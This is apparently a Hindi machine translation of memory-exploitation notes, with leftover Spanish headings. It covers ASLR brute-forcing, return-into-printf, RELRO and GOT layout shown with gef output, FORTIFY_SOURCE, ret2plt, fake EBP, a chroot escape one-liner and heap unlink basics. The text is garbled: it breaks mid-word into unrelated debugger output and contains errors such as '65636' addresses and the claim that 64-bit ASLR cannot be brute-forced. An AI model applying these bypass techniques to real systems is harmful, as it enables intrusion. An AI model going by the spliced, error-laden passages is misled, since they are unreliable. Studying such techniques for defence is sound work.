प्रत्येक क्लास की ऑब्जेक्ट का एक VPtr होता है जो उसकी क्लास के ऐरे के लिए एक पॉइंटर होता है। VPtr प्रत्येक ऑब्जेक्ट के हेडर का हिस्सा होता है, इसलिए अगर VPtr का ओवरराइट हासिल किया जाता है तो इसे मॉडिफाई किया जा सकता है ताकि यह एक डमी मेथड की ओर इशारा करे ताकि एक फंक्शन को निष्पादित करने पर यह शेलकोड पर जाए।
निवारक उपाय और बचाव
ASLR इतना यादृच्छिक नहीं है
PaX प्रक्रिया के पते की जगह को 3 समूहों में बांटता है:
प्रारंभिक और अप्रारंभिक कोड और डेटा: .text, .data और .bss —> 16बिट्स का एंट्रोपी डेल्टा_exec वेरिएबल में, यह वेरिएबल हर प्रक्रिया के साथ यादृच्छिक रूप से शुरू होता है और प्रारंभिक पतों के साथ जोड़ा जाता है
mmap() द्वारा आवंटित मेमोरी और साझा लाइब्रेरीज —> 16बिट्स, डेल्टा_mmap
स्टैक —> 24बिट्स, डेल्टा_स्टैक —> वास्तव में 11 (10वें बाइट से 20वें बाइट तक सम्मिलित) —> 16बाइट्स के अनुरूप —> 524,288 संभावित वास्तविक स्टैक पते
पर्यावरणीय चर और तर्क स्टैक पर एक बफर से कम विस्थापित होते हैं।
Return-into-printf
यह एक तकनीक है जो एक बफर ओवरफ्लो को एक फॉर्मेट स्ट्रिंग त्रुटि में बदल देती है। यह EIP को बदलने में शामिल है ताकि यह फंक्शन के एक printf की ओर इशारा करे और उसे एक मैनिपुलेटेड फॉर्मेट स्ट्रिंग के रूप में एक तर्क के रूप में पास करे ताकि प्रक्रिया की स्थिति के बारे में मूल्य प्राप्त किए जा सकें।
लाइब्रेरीज पर हमला
लाइब्रेरीज 16बिट्स की यादृच्छिकता के साथ एक स्थिति में होती हैं = 65636 संभावित पते। अगर एक संवेदनशील सर्वर fork() को कॉल करता है तो मेमोरी की पते की जगह बच्चे की प्रक्रिया में क्लोन की जाती है और यह अछूती रहती है। इसलिए libc के usleep() फंक्शन को "16" के रूप में एक तर्क पास करके ब्रूट फोर्स करने की कोशिश की जा सकती है ताकि जब यह सामान्य से अधिक समय लेता है तो उत्तर देने में उस फंक्शन का पता लगाया जा सके। उस फंक्शन का पता जानने के बाद डेल्टा_mmap प्राप्त किया जा सकता है और अन्य की गणना की जा सकती है।
ASLR के काम करने का एकमात्र तरीका 64बिट्स आर्किटेक्चर का उपयोग करना है। वहां कोई ब्रूट फोर्स हमले नहीं हैं।
StackGuard और StackShield
StackGuard EIP से पहले डालता है —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() अभी भी संवेदनशील हैं और EBP की सुरक्षा नहीं करते हैं
StackShield StackGuard से अधिक विस
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
बिना relro के:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
बिना relro वाले बाइनरी के लिए, हम देखते हैं कि fgets
के लिए got
प्रविष्टि का पता 0x404018
है। मेमोरी मैपिंग्स को देखते हुए हम पाते हैं कि यह 0x404000
और 0x405000
के बीच में आता है, जिसमें परमिशन rw
है, जिसका मतलब है कि हम इसे पढ़ और लिख सकते हैं। relro के साथ बाइनरी के लिए, हम देखते हैं कि बाइनरी के चलने के लिए got
टेबल का पता (pie सक्षम होने के कारण यह पता बदलेगा) 0x555555557fd0
है। उस बाइनरी की मेमोरी मैपिंग में यह 0x0000555555557000
और 0x0000555555558000
के बीच में आता है, जिसमें मेमोरी परमिशन r
है, जिसका मतलब है कि हम केवल इससे पढ़ सकते हैं।
तो bypass क्या है? मैं जो आमतौर पर bypass उपयोग करता हूँ, वह है कि मैं सिर्फ मेमोरी क्षेत्रों में नहीं लिखता जिन्हें relro के कारण केवल पढ़ने के लिए बनाया गया है, और कोड निष्पादन प्राप्त करने का अलग तरीका ढूंढता हूँ।
ध्यान दें कि इसके लिए जरूरी है कि बाइनरी को निष्पादन से पहले फंक्शन्स के पते पता हों:
- Lazy binding: एक फंक्शन का पता पहली बार फंक्शन को कॉल किए जाने पर खोजा जाता है। इसलिए, GOT को निष्पादन के दौरान लिखने की अनुमति होनी चाहिए।
- Bind now: फंक्शन्स के पते निष्पादन की शुरुआत में हल किए जाते हैं, फिर .got, .dtors, .ctors, .dynamic, .jcr जैसे संवेदनशील खंडों को केवल पढ़ने की अनुमति दी जाती है।
`**
-z relro**
और**
-z now`**
यह जांचने के लिए कि कोई प्रोग्राम Bind now का उपयोग करता है या नहीं, आप कर सकते हैं:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
जब बाइनरी मेमोरी में लोड होती है और कोई फंक्शन पहली बार कॉल किया जाता है, तो यह PLT (Procedure Linkage Table) पर जाता है, यहाँ से यह GOT (Global Offset Table) की ओर जंप (jmp) करता है और पता चलता है कि यह एंट्री हल नहीं की गई है (इसमें PLT के अगले एड्रेस का डाटा होता है)। इसलिए यह Runtime Linker या rtfd को कॉल करता है ताकि वह एड्रेस को हल करे और GOT में सेव करे।
जब किसी फंक्शन को कॉल किया जाता है, तो PLT को कॉल किया जाता है, जिसमें फंक्शन के एड्रेस का डाटा GOT में स्टोर होता है, इसलिए यह फ्लो को वहाँ रीडायरेक्ट करता है और इस तरह फंक्शन को कॉल किया जाता है। हालांकि, अगर यह फंक्शन को पहली बार कॉल कर रहा है, तो GOT में जो होता है वह PLT का अगला इंस्ट्रक्शन होता है, इसलिए फ्लो PLT के कोड (rtfd) का अनुसरण करता है और फंक्शन के एड्रेस को पता लगाता है, उसे GOT में सेव करता है और फिर उसे कॉल करता है।
जब एक बाइनरी को मेमोरी में लोड किया जाता है तो कंपाइलर बताता है कि किस ऑफसेट पर डाटा को लोड करना है जब प्रोग्राम चलाया जाता है।
Lazy binding —> फंक्शन का एड्रेस पहली बार फंक्शन को कॉल करने पर खोजा जाता है, इसलिए GOT में लिखने की अनुमति होती है ताकि जब खोजा जाए, तो वहाँ सेव किया जा सके और दोबारा खोजने की जरूरत न हो।
Bind now —> फंक्शन्स के एड्रेसेस प्रोग्राम लोड होने पर खोजे जाते हैं और .got, .dtors, .ctors, .dynamic, .jcr जैसे सेक्शन्स की परमिशन्स को केवल पढ़ने के लिए बदल दिया जाता है। **-z relro** और **-z now**
इसके बावजूद, आम तौर पर प्रोग्राम्स इन विकल्पों के साथ कॉम्प्लिकेटेड नहीं होते हैं इसलिए ये हमले अभी भी संभव होते हैं।
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> जानने के लिए कि BIND NOW का उपयोग किया जा रहा है या नहीं
**Fortify Source -D_FORTIFY_SOURCE=1 या =2**
यह उन फंक्शन्स की पहचान करने की कोशिश करता है जो एक स्थान से दूसरे स्थान पर असुरक्षित रूप से कॉपी करते हैं और फंक्शन को एक सुरक्षित फंक्शन से बदल देते हैं।
उदाहरण के लिए:\
char buf[16];\
strcpy(but, source);
यह इसे असुरक्षित मानता है और फिर strcpy() को __strcpy_chk() से बदल देता है जिसमें बफर के आकार को अधिकतम कॉपी करने के लिए उपयोग किया जाता है।
**=1** और **=2** के बीच का अंतर यह है:
दूसरा यह अनुमति नहीं देता है कि **%n** एक लिखने योग्य सेक्शन से आए। इसके अलावा, डायरेक्ट आर्गुमेंट एक्सेस के लिए पैरामीटर केवल तभी उपयोग किया जा सकता है जब पिछले आर्गुमेंट्स का उपयोग किया गया हो, यानी केवल **%3$d** का उपयोग किया जा सकता है अगर पहले **%2$d** और **%1$d** का उपयोग किया गया हो।
एरर मैसेज दिखाने के लिए argv[0] का उपयोग किया जाता है, इसलिए अगर इसमें किसी अन्य स्थान (जैसे कि एक ग्लोबल वेरिएबल) का एड्रेस डाला जाता है तो एरर मैसेज उस वेरिएबल की सामग्री दिखाएगा। पृष्ठ 191
**Libsafe की जगह**
इसे सक्रिय किया जाता है: LD_PRELOAD=/lib/libsafe.so.2\
या\
"/lib/libsave.so.2" > /etc/ld.so.preload
यह कुछ असुरक्षित फंक्शन्स के कॉल्स को सुरक्षित फंक्शन्स से बदल देता है। यह स्टैंडर्डाइज़्ड नहीं है। (केवल x86 के लिए, -fomit-frame-pointer के साथ कंपाइलेशन्स के लिए नहीं, स्टेटिक कंपाइलेशन्स के लिए नहीं, सभी वल्नरेबल फंक्शन्स सुरक्षित नहीं होते हैं और LD_PRELOAD suid बाइनरीज़ में काम नहीं करता है)।
**ASCII Armored Address Space**
यह 0x00000000 से 0x00ffffff तक शेयर्ड लाइब्रेरीज़ को लोड करने की प्रक्रिया है ताकि हमेशा एक बाइट 0x00 हो। हालांकि, यह वास्तव में किसी भी हमले को रोक नहीं पाता है, और कम से कम little endian में।
**ret2plt**
यह ROP को इस तरह से करने की प्रक्रिया है कि strcpy@plt (PLT से) फंक्शन को कॉल किया जाता है और इसे GOT के एंट्री पर पॉइंट किया जाता है और फंक्शन जिसे कॉल करना है (system()) का पहला बाइट कॉपी किया जाता है। इसके बाद यही प्रक्रिया GOT+1 पर की जाती है और system() का दूसरा बाइट कॉपी किया जाता है... अंत में GOT में सेव किए गए एड्रेस को कॉल किया जाता है जो system() होगा।
**Falso EBP**
उन फंक्शन्स के लिए जो EBP रजिस्टर का उपयोग आर्गुमेंट्स को पॉइंट करने के लिए करते हैं, EIP को मॉडिफाई करके और system() को पॉइंट करने के लिए EBP को भी मॉडिफाई करना होगा ताकि यह मेमोरी के एक जोन को पॉइंट करे जिसमें कोई भी 2 बाइट्स हों और उसके बाद &"/bin/sh" का एड्रेस हो।
**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> एक विशिष्ट सबडायरेक्टरी के नीचे एक बेसिक सिस्टम इंस्टॉल करता है
एक एडमिन इन जेलों से बाहर निकल सकता है इस प्रकार करके: mkdir foo; chroot foo; cd ..
**कोड इंस्ट्रुमेंटेशन**
Valgrind —> एरर्स खोजता है\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev_size |\
size | —Cabecera\
*mem | Datos
**Trozo libre**
prev_size |\
size |\
*fd | Ptr forward chunk\
*bk | Ptr back chunk —Cabecera\
*mem | Datos
मुक्त टुकड़े एक डबल लिंक्ड लिस्ट (bin) में होते हैं और दो मुक्त टुकड़े कभी एक साथ नहीं हो सकते (वे जुड़ जाते हैं)
"size" में बिट्स होते हैं जो इंगित करते हैं: क्या पिछला टुकड़ा उपयोग में है, क्या टुकड़ा mmap() के माध्यम से असाइन किया गया है और क्या टुकड़ा प्राइमरी एरेना का हिस्सा है।
यदि किसी टुकड़े को मुक्त करते समय कोई सटे हुए टुकड़े मुक्त पाए जाते हैं, तो वे unlink() मैक्रो के माध्यम से विलय कर दिए जाते हैं और नए बड़े टुकड़े को frontlink() को पास किया जाता है ताकि वह उसे उचित bin में डाल सके।
unlink(){\
BK = P->bk; —> नए चंक का BK वही होगा जो पहले से मुक्त था\
FD = P->fd; —> नए चंक का FD वही होगा जो पहले से मुक्त था\
FD->bk = BK; —> अगले चंक का BK नए चंक की ओर इशारा करता है\
BK->fd = FD; —> पिछले चंक का FD नए चंक की ओर इश